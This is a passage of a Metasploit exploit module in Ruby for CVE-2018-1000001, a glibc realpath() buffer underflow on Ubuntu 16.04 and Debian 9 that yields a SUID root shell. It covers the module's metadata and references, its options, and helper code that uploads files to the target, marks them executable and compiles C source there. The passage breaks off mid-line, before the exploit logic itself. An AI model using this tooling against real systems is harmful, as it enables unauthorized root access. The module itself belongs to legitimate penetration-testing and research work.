This module uses halfdog's RationalLove exploit to exploit a buffer underflow in glibc realpath() and create a SUID root shell. The exploit has offsets for glibc versions 2.23-0ubuntu9 and 2.24-11+deb9u1. The target system must have unprivileged user namespaces enabled. This module has been tested successfully on Ubuntu Linux 16.04.3 (x86_64) with glibc version 2.23-0ubuntu9; and Debian 9.0 (x86_64) with glibc version 2.24-11+deb9u1. }, 'License' => MSF_LICENSE, 'Author' => [ 'halfdog', # Discovery and RationalLove.c exploit 'Brendan Coles' # Metasploit ], 'DisclosureDate' => 'Jan 16 2018', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'AKA', 'RationalLove.c' ], [ 'BID', '102525' ], [ 'CVE', '2018-1000001' ], [ 'EDB', '43775' ], [ 'URL', 'https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/' ], [ 'URL', 'http://www.openwall.com/lists/oss-security/2018/01/11/5' ], [ 'URL', 'https://securitytracker.com/id/1040162' ], [ 'URL', 'https://sourceware.org/bugzilla/show_bug.cgi?id=22679' ], [ 'URL', 'https://usn.ubuntu.com/3534-1/' ], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1533836' ] ], 'DefaultTarget' => 0)) register_options [ OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." write_file path, data register_file_for_cleanup path end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data) upload "#{path}.c", data gcc_cmd = "gcc -w -o #{path} #{path}.c" if session.type.eql?
